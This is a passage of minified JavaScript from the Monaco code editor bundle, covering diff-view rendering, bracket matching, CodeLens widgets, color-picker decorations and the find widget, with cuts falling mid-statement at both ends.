i.className=\"inline-added-margin-view-zone\",S.Configuration.applyFontInfoSlow(i,this.modifiedEditorConfiguration.fontInfo),{afterLineNumber:Math.max(e.originalStartLineNumber,e.originalEndLineNumber),heightInLines:n,domNode:document.createElement(\"div\"),marginDomNode:i}},t.prototype._produceModifiedFromDiff=function(e,t,n){var i=[];if(e.charChanges)for(var o=0,r=e.charChanges.length;o<r;o++){var s=e.charChanges[o];A(s)&&i.push(new E.InlineDecoration(new p.Range(s.originalStartLineNumber,s.originalStartColumn,s.originalEndLineNumber,s.originalEndColumn),\"char-delete\",!1))}for(var a=[],u=[],l=this.modifiedEditorConfiguration.layoutInfo.decorationsWidth,c=this.modifiedEditorConfiguration.lineHeight,d=e.originalStartLineNumber;d<=e.originalEndLineNumber;d++)if(a=a.concat(this.renderOriginalLine(d-e.originalStartLineNumber,this.originalModel,this.modifiedEditorConfiguration,this.modifiedEditorTabSize,d,i)),this.renderIndicators){var h=d-e.originalStartLineNumber;u=u.concat(['<div class=\"delete-sign\" style=\"position:absolute;top:'+h*c+\"px;width:\"+l+\"px;height:\"+c+'px;right:0;\"></div>'])}var f=document.createElement(\"div\");f.className=\"view-lines line-delete\",f.innerHTML=a.join(\"\"),S.Configuration.applyFontInfoSlow(f,this.modifiedEditorConfiguration.fontInfo);var g=document.createElement(\"div\");return g.className=\"inline-deleted-margin-view-zone\",g.innerHTML=u.join(\"\"),S.Configuration.applyFontInfoSlow(g,this.modifiedEditorConfiguration.fontInfo),{shouldNotShrink:!0,afterLineNumber:0===e.modifiedEndLineNumber?e.modifiedStartLineNumber:e.modifiedStartLineNumber-1,heightInLines:t,domNode:f,marginDomNode:g}},t.prototype.renderOriginalLine=function(e,t,n,i,o,r){var s=t.getLineContent(o),a=_.LineDecoration.filter(r,o,1,s.length+1),u=C.renderViewLine(new C.RenderLineInput(n.fontInfo.isMonospace&&!n.viewInfo.disableMonospaceOptimizations,s,t.mightContainRTL(),0,[new w.ViewLineToken(s.length,16793600)],a,i,n.fontInfo.spaceWidth,n.viewInfo.stopRenderingLineAfter,n.viewInfo.renderWhitespace,n.viewInfo.renderControlCharacters,n.viewInfo.fontLigatures)),l=[];return l.push('<div class=\"view-line'),0===r.length&&l.push(\" char-delete\"),l.push('\" style=\"top:'),l.push(String(e*n.lineHeight)),l.push('px;width:1000000px;\">'),(l=l.concat(u.html)).push(\"</div>\"),l},t}(K);M.registerThemingParticipant(function(e,t){var n=e.getColor(T.diffInserted);n&&(t.addRule(\".monaco-editor .line-insert, .monaco-editor .char-insert { background-color: \"+n+\"; }\"),t.addRule(\".monaco-diff-editor .line-insert, .monaco-diff-editor .char-insert { background-color: \"+n+\"; }\"),t.addRule(\".monaco-editor .inline-added-margin-view-zone { background-color: \"+n+\"; }\"));var i=e.getColor(T.diffRemoved);i&&(t.addRule(\".monaco-editor .line-delete, .monaco-editor .char-delete { background-color: \"+i+\"; }\"),t.addRule(\".monaco-diff-editor .line-delete, .monaco-diff-editor .char-delete { background-color: \"+i+\"; }\"),t.addRule(\".monaco-editor .inline-deleted-margin-view-zone { background-color: \"+i+\"; }\"));var o=e.getColor(T.diffInsertedOutline);o&&t.addRule(\".monaco-editor .line-insert, .monaco-editor .char-insert { border: 1px dashed \"+o+\"; }\");var r=e.getColor(T.diffRemovedOutline);r&&t.addRule(\".monaco-editor .line-delete, .monaco-editor .char-delete { border: 1px dashed \"+r+\"; }\");var s=e.getColor(T.scrollbarShadow);s&&t.addRule(\".monaco-diff-editor.side-by-side .editor.modified { box-shadow: -6px 0 5px -5px \"+s+\"; }\")})}),define(d[194],h([1,0,26,16,31,19,42,141,14]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l=function(e){function t(t,n,i,o,r,s,a,u){var l=e.call(this,t,i.getRawConfiguration(),o,r,s,a,u)||this;return l._parentEditor=i,l._overwriteOptions=n,e.prototype.updateOptions.call(l,l._overwriteOptions),l._register(i.onDidChangeConfiguration(function(e){return l._onParentConfigurationChanged(e)})),l}return f(t,e),t.prototype.getParentEditor=function(){return this._parentEditor},t.prototype._onParentConfigurationChanged=function(t){e.prototype.updateOptions.call(this,this._parentEditor.getRawConfiguration()),e.prototype.updateOptions.call(this,this._overwriteOptions)},t.prototype.updateOptions=function(t){n.mixin(this._overwriteOptions,t,!0),e.prototype.updateOptions.call(this,this._overwriteOptions)},t=v([y(3,i.IInstantiationService),y(4,s.ICodeEditorService),y(5,o.ICommandService),y(6,r.IContextKeyService),y(7,u.IThemeService)],t)}(a.CodeEditor);t.EmbeddedCodeEditorWidget=l}),define(d[514],h([1,0,341,3,12,18,20,13,21,14,37,34]),function(e,t,n,i,o,r,s,a,u,l,c,d){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){function t(){return e.call(this,{id:\"editor.action.jumpToBracket\",label:n.localize(0,null),alias:\"Go to Bracket\",precondition:null,kbOpts:{kbExpr:u.EditorContextKeys.textFocus,primary:3160}})||this}f(t,e),t.prototype.run=function(e,t){var n=p.get(t);n&&n.jumpToBracket()},t=v([a.editorAction],t)}(a.EditorAction);var h=function(){return function(e,t){this.position=e,this.brackets=t}}(),p=function(e){function t(t){var n=e.call(this)||this;return n._editor=t,n._lastBracketsData=[],n._lastVersionId=0,n._decorations=[],n._updateBracketsSoon=n._register(new r.RunOnceScheduler(function(){return n._updateBrackets()},50)),n._matchBrackets=n._editor.getConfiguration().contribInfo.matchBrackets,n._updateBracketsSoon.schedule(),n._register(t.onDidChangeCursorPosition(function(e){n._matchBrackets&&n._updateBracketsSoon.schedule()})),n._register(t.onDidChangeModel(function(e){n._decorations=[],n._updateBracketsSoon.schedule()})),n._register(t.onDidChangeConfiguration(function(e){n._matchBrackets=n._editor.getConfiguration().contribInfo.matchBrackets,!n._matchBrackets&&n._decorations.length>0&&(n._decorations=n._editor.deltaDecorations(n._decorations,[])),n._updateBracketsSoon.schedule()})),n}return f(t,e),n=t,t.get=function(e){return e.getContribution(n.ID)},t.prototype.getId=function(){return n.ID},t.prototype.jumpToBracket=function(){var e=this._editor.getModel();if(e){var t=this._editor.getSelection();if(t.isEmpty()){var n=t.getStartPosition(),i=e.matchBracket(n);if(i){var o=null;i[0].containsPosition(n)?o=i[1].getStartPosition():i[1].containsPosition(n)&&(o=i[0].getStartPosition()),o&&(this._editor.setPosition(o),this._editor.revealPosition(o))}}}},t.prototype._updateBrackets=function(){if(this._matchBrackets){this._recomputeBrackets();for(var e=[],t=0,i=0,o=this._lastBracketsData.length;i<o;i++){var r=this._lastBracketsData[i].brackets;r&&(e[t++]={range:r[0],options:n._DECORATION_OPTIONS},e[t++]={range:r[1],options:n._DECORATION_OPTIONS})}this._decorations=this._editor.deltaDecorations(this._decorations,e)}},t.prototype._recomputeBrackets=function(){var e=this._editor.getModel();if(!e)return this._lastBracketsData=[],void(this._lastVersionId=0);var t=e.getVersionId(),n=[];this._lastVersionId===t&&(n=this._lastBracketsData);for(var i=this._editor.getSelections(),r=[],s=0,a=0,u=i.length;a<u;a++){var l=i[a];l.isEmpty()&&(r[s++]=l.getStartPosition())}r.length>1&&r.sort(o.Position.compare);for(var c=[],d=0,p=0,f=n.length,a=0,u=r.length;a<u;a++){for(var g=r[a];p<f&&n[p].position.isBefore(g);)p++;if(p<f&&n[p].position.equals(g))c[d++]=n[p];else{var m=e.matchBracket(g);c[d++]=new h(g,m)}}this._lastBracketsData=c,this._lastVersionId=t},t.ID=\"editor.contrib.bracketMatchingController\",t._DECORATION_OPTIONS=d.ModelDecorationOptions.register({stickiness:s.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"bracket-match\"}),t=n=v([a.commonEditorContribution],t);var n}(i.Disposable);t.BracketMatchingController=p,l.registerThemingParticipant(function(e,t){var n=e.getColor(c.editorBracketMatchBackground);n&&t.addRule(\".monaco-editor .bracket-match { background-color: \"+n+\"; }\");var i=e.getColor(c.editorBracketMatchBorder);i&&t.addRule(\".monaco-editor .bracket-match { border: 1px solid \"+i+\"; }\")})}),define(d[515],h([1,0,3,36,9,4,2,25,34,37,14,23,315]),function(e,t,n,i,o,r,s,a,u,l,c,d){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var h=function(){function e(e,t){this.afterLineNumber=e,this._onHeight=t,this.heightInLines=1,this.suppressMouseDown=!0,this.domNode=document.createElement(\"div\")}return e.prototype.onComputedHeight=function(e){void 0===this._lastHeight?this._lastHeight=e:this._lastHeight!==e&&(this._lastHeight=e,this._onHeight())},e}(),p=function(){function e(t,n,o,s){var a=this;this.allowEditorOverflow=!1,this.suppressMouseDown=!0,this._disposables=[],this._commands=Object.create(null),this._id=\"codeLensWidget\"+ ++e._idPool,this._editor=t,this.setSymbolRange(n),this._domNode=document.createElement(\"span\"),this._domNode.innerHTML=\"&nbsp;\",r.addClass(this._domNode,\"codelens-decoration\"),r.addClass(this._domNode,\"invisible-cl\"),this._updateHeight(),this._disposables.push(this._editor.onDidChangeConfiguration(function(e){return e.fontInfo&&a._updateHeight()})),this._disposables.push(r.addDisposableListener(this._domNode,\"click\",function(e){var n=e.target;if(\"A\"===n.tagName&&n.id){var r=a._commands[n.id];r&&(t.focus(),o.executeCommand.apply(o,[r.id].concat(r.arguments)).done(void 0,function(e){s.show(i.default.Error,e)}))}})),this.updateVisibility()}return e.prototype.dispose=function(){n.dispose(this._disposables),this._symbolRange=null},e.prototype._updateHeight=function(){var e=this._editor.getConfiguration(),t=e.fontInfo,n=e.lineHeight;this._domNode.style.height=Math.round(1.1*n)+\"px\",this._domNode.style.lineHeight=n+\"px\",this._domNode.style.fontSize=Math.round(.9*t.fontSize)+\"px\",this._domNode.innerHTML=\"&nbsp;\"},e.prototype.updateVisibility=function(){this.isVisible()&&(r.removeClass(this._domNode,\"invisible-cl\"),r.addClass(this._domNode,\"fadein\"))},e.prototype.withCommands=function(e){if(this._commands=Object.create(null),e&&e.length){for(var t=[],n=0;n<e.length;n++){var i=e[n].command,r=o.escape(i.title),s=void 0;i.id?(s=o.format(\"<a id={0}>{1}</a>\",n,r),this._commands[n]=i):s=o.format(\"<span>{0}</span>\",r),t.push(s)}this._domNode.innerHTML=t.join(\"<span>&nbsp;|&nbsp;</span>\"),this._editor.layoutContentWidget(this)}else this._domNode.innerHTML=\"no commands\"},e.prototype.getId=function(){return this._id},e.prototype.getDomNode=function(){return this._domNode},e.prototype.setSymbolRange=function(e){this._symbolRange=e;var t=e.startLineNumber,n=this._editor.getModel().getLineFirstNonWhitespaceColumn(t);this._widgetPosition={position:{lineNumber:t,column:n},preference:[a.ContentWidgetPositionPreference.ABOVE]}},e.prototype.getPosition=function(){return this._widgetPosition},e.prototype.isVisible=function(){return this._domNode.hasAttribute(\"monaco-visible-content-widget\")},e._idPool=0,e}(),f=function(){function e(){this._removeDecorations=[],this._addDecorations=[],this._addDecorationsCallbacks=[]}return e.prototype.addDecoration=function(e,t){this._addDecorations.push(e),this._addDecorationsCallbacks.push(t)},e.prototype.removeDecoration=function(e){this._removeDecorations.push(e)},e.prototype.commit=function(e){for(var t=e.deltaDecorations(this._removeDecorations,this._addDecorations),n=0,i=t.length;n<i;n++)this._addDecorationsCallbacks[n](t[n])},e}();t.CodeLensHelper=f;var g=function(){function e(e,t,n,i,o,r,a){var l=this;this._editor=t,this._data=e,this._decorationIds=new Array(this._data.length);var c;this._data.forEach(function(e,t){n.addDecoration({range:e.symbol.range,options:u.ModelDecorationOptions.EMPTY},function(e){return l._decorationIds[t]=e}),c=c?s.Range.plusRange(c,e.symbol.range):s.Range.lift(e.symbol.range)}),this._contentWidget=new p(t,c,o,r),this._viewZone=new h(c.startLineNumber-1,a),this._viewZoneId=i.addZone(this._viewZone),this._editor.addContentWidget(this._contentWidget)}return e.prototype.dispose=function(e,t){for(;this._decorationIds.length;)e.removeDecoration(this._decorationIds.pop());t&&t.removeZone(this._viewZoneId),this._editor.removeContentWidget(this._contentWidget),this._contentWidget.dispose()},e.prototype.isValid=function(){var e=this;return this._decorationIds.some(function(t,n){var i=e._editor.getModel().getDecorationRange(t),o=e._data[n].symbol;return i&&s.Range.isEmpty(o.range)===i.isEmpty()})},e.prototype.updateCodeLensSymbols=function(e,t){for(var n=this;this._decorationIds.length;)t.removeDecoration(this._decorationIds.pop());this._data=e,this._decorationIds=new Array(this._data.length),this._data.forEach(function(e,i){t.addDecoration({range:e.symbol.range,options:u.ModelDecorationOptions.EMPTY},function(e){return n._decorationIds[i]=e})})},e.prototype.computeIfNecessary=function(e){if(this._contentWidget.updateVisibility(),!this._contentWidget.isVisible())return null;for(var t=0;t<this._decorationIds.length;t++)this._data[t].symbol.range=e.getDecorationRange(this._decorationIds[t]);return this._data},e.prototype.updateCommands=function(e){this._contentWidget.withCommands(e)},e.prototype.getLineNumber=function(){var e=this._editor.getModel().getDecorationRange(this._decorationIds[0]);return e?e.startLineNumber:-1},e.prototype.update=function(e){if(this.isValid()){var t=this._editor.getModel().getDecorationRange(this._decorationIds[0]);this._viewZone.afterLineNumber=t.startLineNumber-1,e.layoutZone(this._viewZoneId),this._contentWidget.setSymbolRange(t),this._editor.layoutContentWidget(this._contentWidget)}},e}();t.CodeLens=g,c.registerThemingParticipant(function(e,t){var n=e.getColor(l.editorCodeLensForeground);n&&t.addRule(\".monaco-editor .codelens-decoration { color: \"+n+\"; }\");var i=e.getColor(d.editorActiveLinkForeground);i&&t.addRule(\".monaco-editor .codelens-decoration > a:hover { color: \"+i+\" !important; }\")})}),define(d[516],h([1,0,18,10,3,7,31,50,17,30,453,515]),function(e,t,n,i,o,r,s,a,u,l,c,d){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var h=function(){function e(e,t,n){var i=this;this._editor=e,this._commandService=t,this._messageService=n,this._isEnabled=this._editor.getConfiguration().contribInfo.codeLens,this._globalToDispose=[],this._localToDispose=[],this._lenses=[],this._currentFindCodeLensSymbolsPromise=null,this._modelChangeCounter=0,this._globalToDispose.push(this._editor.onDidChangeModel(function(){return i._onModelChange()})),this._globalToDispose.push(this._editor.onDidChangeModelLanguage(function(){return i._onModelChange()})),this._globalToDispose.push(this._editor.onDidChangeConfiguration(function(e){var t=i._isEnabled;i._isEnabled=i._editor.getConfiguration().contribInfo.codeLens,t!==i._isEnabled&&i._onModelChange()})),this._globalToDispose.push(u.CodeLensProviderRegistry.onDidChange(this._onModelChange,this)),this._onModelChange()}return t=e,e.prototype.dispose=function(){this._localDispose(),this._globalToDispose=o.dispose(this._globalToDispose)},e.prototype._localDispose=function(){this._currentFindCodeLensSymbolsPromise&&(this._currentFindCodeLensSymbolsPromise.cancel(),this._currentFindCodeLensSymbolsPromise=null,this._modelChangeCounter++),this._currentFindOccPromise&&(this._currentFindOccPromise.cancel(),this._currentFindOccPromise=null),this._localToDispose=o.dispose(this._localToDispose)},e.prototype.getId=function(){return t.ID},e.prototype._onModelChange=function(){var e=this;this._localDispose();var t=this._editor.getModel();if(t&&this._isEnabled&&u.CodeLensProviderRegistry.has(t)){for(var o=0,r=u.CodeLensProviderRegistry.all(t);o<r.length;o++){var s=r[o];if(\"function\"==typeof s.onDidChange){var a=s.onDidChange(function(){return l.schedule()});this._localToDispose.push(a)}}this._detectVisibleLenses=new n.RunOnceScheduler(function(){e._onViewportChanged(t.getLanguageIdentifier().language)},500);var l=new n.RunOnceScheduler(function(){e._currentFindCodeLensSymbolsPromise&&e._currentFindCodeLensSymbolsPromise.cancel(),e._currentFindCodeLensSymbolsPromise=c.getCodeLensData(t);var n=++e._modelChangeCounter;e._currentFindCodeLensSymbolsPromise.then(function(t){n===e._modelChangeCounter&&(e._renderCodeLensSymbols(t),e._detectVisibleLenses.schedule())},i.onUnexpectedError)},250);this._localToDispose.push(l),this._localToDispose.push(this._detectVisibleLenses),this._localToDispose.push(this._editor.onDidChangeModelContent(function(t){e._editor.changeDecorations(function(t){e._editor.changeViewZones(function(n){var i=[];e._lenses.forEach(function(e){e.isValid()?e.update(n):i.push(e)});var o=new d.CodeLensHelper;i.forEach(function(t){t.dispose(o,n),e._lenses.splice(e._lenses.indexOf(t),1)}),o.commit(t)})}),e._detectVisibleLenses.schedule(),l.schedule()})),this._localToDispose.push(this._editor.onDidScrollChange(function(t){t.scrollTopChanged&&e._detectVisibleLenses.schedule()})),this._localToDispose.push(this._editor.onDidLayoutChange(function(t){e._detectVisibleLenses.schedule()})),this._localToDispose.push({dispose:function(){e._editor.getModel()?e._editor.changeDecorations(function(t){e._editor.changeViewZones(function(n){e._disposeAllLenses(t,n)})}):e._disposeAllLenses(null,null)}}),l.schedule()}},e.prototype._disposeAllLenses=function(e,t){var n=new d.CodeLensHelper;this._lenses.forEach(function(e){return e.dispose(n,t)}),e&&n.commit(e),this._lenses=[]},e.prototype._renderCodeLensSymbols=function(e){var t=this;if(this._editor.getModel()){for(var n,i=this._editor.getModel().getLineCount(),o=[],r=0,s=e;r<s.length;r++){var a=s[r],u=a.symbol.range.startLineNumber;u<1||u>i||(n&&n[n.length-1].symbol.range.startLineNumber===u?n.push(a):(n=[a],o.push(n)))}var l=this._editor.getCenteredRangeInViewport(),c=l&&o.length!==this._lenses.length&&0!==this._editor.getScrollTop();this._editor.changeDecorations(function(e){t._editor.changeViewZones(function(n){for(var i=0,r=0,s=new d.CodeLensHelper;r<o.length&&i<t._lenses.length;){var a=o[r][0].symbol.range.startLineNumber,u=t._lenses[i].getLineNumber();u<a?(t._lenses[i].dispose(s,n),t._lenses.splice(i,1)):u===a?(t._lenses[i].updateCodeLensSymbols(o[r],s),r++,i++):(t._lenses.splice(i,0,new d.CodeLens(o[r],t._editor,s,n,t._commandService,t._messageService,function(){return t._detectVisibleLenses.schedule()})),i++,r++)}for(;i<t._lenses.length;)t._lenses[i].dispose(s,n),t._lenses.splice(i,1);for(;r<o.length;)t._lenses.push(new d.CodeLens(o[r],t._editor,s,n,t._commandService,t._messageService,function(){return t._detectVisibleLenses.schedule()})),r++;s.commit(e)})}),c&&this._editor.revealRangeInCenter(l)}},e.prototype._onViewportChanged=function(e){var t=this;this._currentFindOccPromise&&(this._currentFindOccPromise.cancel(),this._currentFindOccPromise=null);var i=this._editor.getModel();if(i){var o=[],s=[];if(this._lenses.forEach(function(e){var t=e.computeIfNecessary(i);t&&(o.push(t),s.push(e))}),0!==o.length){var a=o.map(function(e,t){var o=new Array(e.length),a=e.map(function(e,t){return n.asWinJsPromise(function(t){return e.provider.resolveCodeLens(i,e.symbol,t)}).then(function(e){o[t]=e})});return r.TPromise.join(a).then(function(){s[t].updateCommands(o)})});this._currentFindOccPromise=r.TPromise.join(a).then(function(){t._currentFindOccPromise=null})}}},e.ID=\"css.editor.codeLens\",e=t=v([l.editorContribution,y(1,s.ICommandService),y(2,a.IMessageService)],e);var t}();t.CodeLensContribution=h}),define(d[517],h([1,0,30,3,14,23,17,7,248]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l=function(){function e(e){var t=this;this.editor=e,this.currentDecorations=[],this.listenersToRemove=[],this.listenersToRemove.push(e.onDidChangeModelContent(function(e){return t.onChange()})),this.listenersToRemove.push(e.onDidChangeModel(function(e){return t.onModelChanged()})),this.listenersToRemove.push(e.onDidChangeModelLanguage(function(e){return t.onModelModeChanged()})),this.listenersToRemove.push(s.ColorProviderRegistry.onDidChange(function(e){return t.onModelModeChanged()})),this.timeoutPromise=null,this.computePromise=null,this.beginCompute()}return t=e,e.prototype.getId=function(){return t.ID},e.get=function(e){return e.getContribution(this.ID)},e.prototype.dispose=function(){this.listenersToRemove=i.dispose(this.listenersToRemove),this.stop()},e.prototype.onModelChanged=function(){this.stop(),this.beginCompute()},e.prototype.onModelModeChanged=function(){this.stop(),this.beginCompute()},e.prototype.onChange=function(){var e=this;this.timeoutPromise||(this.timeoutPromise=a.TPromise.timeout(t.RECOMPUTE_TIME),this.timeoutPromise.then(function(){e.timeoutPromise=null,e.beginCompute()}))},e.prototype.beginCompute=function(){var e=this;this.editor.getModel()&&s.ColorProviderRegistry.has(this.editor.getModel())&&(this.computePromise=u.getColors(this.editor.getModel()).then(function(t){e.updateDecorations(t),e.computePromise=null}))},e.prototype.stop=function(){this.timeoutPromise&&(this.timeoutPromise.cancel(),this.timeoutPromise=null),this.computePromise&&(this.computePromise.cancel(),this.computePromise=null)},e.prototype.updateDecorations=function(e){var t=this;this.editor.changeDecorations(function(n){for(var i=[],o=0,r=e;o<r.length;o++){var s=r[o],a={startLineNumber:s.range.startLineNumber,startColumn:s.range.startColumn,endLineNumber:s.range.endLineNumber,endColumn:s.range.endColumn},u={__extraOptions:{color:s.color,format:s.format,availableFormats:s.availableFormats}};i.push({range:a,options:u})}t.currentDecorations=n.deltaDecorations(t.currentDecorations,i)})},e.ID=\"editor.contrib.colorPicker\",e.RECOMPUTE_TIME=1e3,e=t=v([n.editorContribution],e);var t}();t.ColorPicker=l,o.registerThemingParticipant(function(e,t){var n=e.getColor(r.editorWidgetBackground);t.addRule(\".monaco-editor .colorpicker-widget { background-color: \"+n+\"; }\");var i=e.getColor(r.editorWidgetBorder);t.addRule(\".monaco-editor .colorpicker-widget { border: 1px solid \"+i+\"; }\"),t.addRule(\".monaco-editor .colorpicker-header { border-bottom: 1px solid \"+i+\"; }\")})}),define(d[518],h([1,0,4,41,25,121,153,18,14,23]),function(e,t,n,i,o,r,s,a,u,l){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var c=function(e){function t(t,i,o,u){var c=e.call(this)||this;c._hideSoon=c._register(new a.RunOnceScheduler(function(){return c._hide()},1e3)),c._isVisible=!1,c._editor=t,c._state=i,c._keybindingService=o,c._domNode=document.createElement(\"div\"),c._domNode.className=\"findOptionsWidget\",c._domNode.style.display=\"none\",c._domNode.style.top=\"10px\",c._domNode.setAttribute(\"role\",\"presentation\"),c._domNode.setAttribute(\"aria-hidden\",\"true\");var d=u.getTheme().getColor(l.inputActiveOptionBorder);return c.caseSensitive=c._register(new s.CaseSensitiveCheckbox({appendTitle:c._keybindingLabelFor(r.FIND_IDS.ToggleCaseSensitiveCommand),isChecked:c._state.matchCase,onChange:function(e){c._state.change({matchCase:c.caseSensitive.checked},!1)},inputActiveOptionBorder:d})),c._domNode.appendChild(c.caseSensitive.domNode),c.wholeWords=c._register(new s.WholeWordsCheckbox({appendTitle:c._keybindingLabelFor(r.FIND_IDS.ToggleWholeWordCommand),isChecked:c._state.wholeWord,onChange:function(e){c._state.change({wholeWord:c.wholeWords.checked},!1)},inputActiveOptionBorder:d})),c._domNode.appendChild(c.wholeWords.domNode),c.regex=c._register(new s.RegexCheckbox({appendTitle:c._keybindingLabelFor(r.FIND_IDS.ToggleRegexCommand),isChecked:c._state.isRegex,onChange:function(e){c._state.change({isRegex:c.regex.checked},!1)},inputActiveOptionBorder:d})),c._domNode.appendChild(c.regex.domNode),c._editor.addOverlayWidget(c),c._register(c._state.addChangeListener(function(e){var t=!1;e.isRegex&&(c.regex.checked=c._state.isRegex,t=!0),e.wholeWord&&(c.wholeWords.checked=c._state.wholeWord,t=!0),e.matchCase&&(c.caseSensitive.checked=c._state.matchCase,t=!0),!c._state.isRevealed&&t&&c._revealTemporarily()})),c._register(n.addDisposableNonBubblingMouseOutListener(c._domNode,function(e){return c._onMouseOut()})),c._register(n.addDisposableListener(c._domNode,\"mouseover\",function(e){return c._onMouseOver()})),c._applyTheme(u.getTheme()),c._register(u.onThemeChange(c._applyTheme.bind(c))),c}return f(t,e),t.prototype._keybindingLabelFor=function(e){var t=this._keybindingService.lookupKeybinding(e);return t?\" (\"+t.getLabel()+\")\":\"\"},t.prototype.dispose=function(){this._editor.removeOverlayWidget(this),e.prototype.dispose.call(this)},t.prototype.getId=function(){return t.ID},t.prototype.getDomNode=function(){return this._domNode},t.prototype.getPosition=function(){return{preference:o.OverlayWidgetPositionPreference.TOP_RIGHT_CORNER}},t.prototype.highlightFindOptions=function(){this._revealTemporarily()},t.prototype._revealTemporarily=function(){this._show(),this._hideSoon.schedule()},t.prototype._onMouseOut=function(){this._hideSoon.schedule()},t.prototype._onMouseOver=function(){this._hideSoon.cancel()},t.prototype._show=function(){this._isVisible||(this._isVisible=!0,this._domNode.style.display=\"block\")},t.prototype._hide=function(){this._isVisible&&(this._isVisible=!1,this._domNode.style.display=\"none\")},t.prototype._applyTheme=function(e){var t={inputActiveOptionBorder:e.getColor(l.inputActiveOptionBorder)};this.caseSensitive.style(t),this.wholeWords.style(t),this.regex.style(t)},t.ID=\"editor.contrib.findOptionsWidget\",t}(i.Widget);t.FindOptionsWidget=c,u.registerThemingParticipant(function(e,t){var n=e.getColor(l.editorWidgetBackground);n&&t.addRule(\".monaco-editor .findOptionsWidget { background-color: \"+n+\"; }\");var i=e.getColor(l.widgetShadow);i&&t.addRule(\".monaco-editor .findOptionsWidget { box-shadow: 0 2px 8px \"+i+\"; }\");var o=e.getColor(l.contrastBorder);o&&t.addRule(\".monaco-editor .findOptionsWidget { border: 2px solid \"+o+\"; }\")})}),define(d[519],h([1,0,347,10,15,9,4,289,115,41,99,25,121,2,176,14,23,327]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m,v){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var _=n.localize(0,null),y=n.localize(1,null),C=n.localize(2,null),b=n.localize(3,null),w=n.localize(4,null),S=n.localize(5,null),E=n.localize(6,null),L=n.localize(7,null),x=n.localize(8,null),N=n.localize(9,null),M=n.localize(10,null),T=n.localize(11,null),k=n.localize(12,null),I=n.localize(13,null),D=411,O=69,R=17+(O+3+1)+92+2,P=34,A=function(){return function(e){this.afterLineNumber=e,this.heightInPx=P,this.suppressMouseDown=!1,this.domNode=document.createElement(\"div\"),this.domNode.className=\"dock-find-viewzone\"}}();t.FindWidgetViewZone=A;var F=function(e){function t(t,n,i,o,r,a,u){var l=e.call(this)||this;l._codeEditor=t,l._controller=n,l._state=i,l._contextViewProvider=o,l._keybindingService=r,l._isVisible=!1,l._isReplaceVisible=!1,l._register(l._state.addChangeListener(function(e){return l._onStateChanged(e)})),l._buildDomNode(),l._updateButtons();var c=function(){var e=l._codeEditor.getConfiguration().layoutInfo.width,t=l._codeEditor.getConfiguration().layoutInfo.minimapWidth,n=!1,i=!1,o=!1;if(s.getTotalWidth(l._domNode)>D)return l._domNode.style.maxWidth=e-28-t-15+\"px\",void(l._replaceInputBox.inputElement.style.width=s.getTotalWidth(l._findInput.inputBox.inputElement)+\"px\");D+28+t>=e&&(i=!0),D+28+t-O>=e&&(o=!0),D+28+t-O>=e+50&&(n=!0),s.toggleClass(l._domNode,\"collapsed-find-widget\",n),s.toggleClass(l._domNode,\"narrow-find-widget\",o),s.toggleClass(l._domNode,\"reduced-find-widget\",i),o||n||(l._domNode.style.maxWidth=e-28-t-15+\"px\");var r=s.getTotalWidth(l._findInput.inputBox.inputElement);r>0&&(l._replaceInputBox.inputElement.style.width=r+\"px\")};return c(),l._register(l._codeEditor.onDidChangeConfiguration(function(e){e.readOnly&&(l._codeEditor.getConfiguration().readOnly&&l._state.change({isReplaceRevealed:!1},!1),l._updateButtons()),e.layoutInfo&&c()})),l._register(l._codeEditor.onDidChangeCursorSelection(function(){l._isVisible&&l._updateToggleSelectionFindButton()})),l._findInputFocussed=g.CONTEXT_FIND_INPUT_FOCUSSED.bindTo(a),l._focusTracker=l._register(s.trackFocus(l._findInput.inputBox.inputElement)),l._focusTracker.addFocusListener(function(){if(l._findInputFocussed.set(!0),l._toggleSelectionFind.checked){var e=l._codeEditor.getSelection();1===e.endColumn&&e.endLineNumber>e.startLineNumber&&(e=e.setEndPosition(e.endLineNumber-1,1));var t=l._state.currentMatch;e.startLineNumber!==e.endLineNumber&&(p.Range.equalsRange(e,t)||l._state.change({searchScope:e},!0))}}),l._focusTracker.addBlurListener(function(){l._findInputFocussed.set(!1)}),l._codeEditor.addOverlayWidget(l),l._viewZone=new A(0),l._applyTheme(u.getTheme()),l._register(u.onThemeChange(l._applyTheme.bind(l))),l._register(l._codeEditor.onDidChangeModel(function(e){l._isVisible&&void 0!==l._viewZoneId&&l._codeEditor.changeViewZones(function(e){e.removeZone(l._viewZoneId),l._viewZoneId=void 0})})),l._register(l._codeEditor.onDidScrollChange(function(e){e.scrollTopChanged?l._layoutViewZone():setTimeout(function(){l._layoutViewZone()},0)})),l}return f(t,e),t.prototype.getId=function(){return t.ID},t.prototype.getDomNode=function(){return this._domNode},t.prototype.getPosition=function(){return this._isVisible?{preference:d.OverlayWidgetPositionPreference.TOP_RIGHT_CORNER}:null},t.prototype._onStateChanged=function(e){if(e.searchString&&(this._findInput.setValue(this._state.searchString),this._updateButtons()),e.replaceString&&(this._replaceInputBox.value=this._state.replaceString),e.isRevealed&&(this._state.isRevealed?this._reveal(!0):this._hide(!0)),e.isReplaceRevealed&&(this._state.isReplaceRevealed?this._codeEditor.getConfiguration().readOnly||this._isReplaceVisible||(this._isReplaceVisible=!0,this._updateButtons()):this._isReplaceVisible&&(this._isReplaceVisible=!1,this._updateButtons())),e.isRegex&&this._findInput.setRegex(this._state.isRegex),e.wholeWord&&this._findInput.setWholeWords(this._state.wholeWord),e.matchCase&&this._findInput.setCaseSensitive(this._state.matchCase),e.searchScope&&(this._state.searchScope?this._toggleSelectionFind.checked=!0:this._toggleSelectionFind.checked=!1,this._updateToggleSelectionFindButton()),e.searchString||e.matchesCount||e.matchesPosition){var 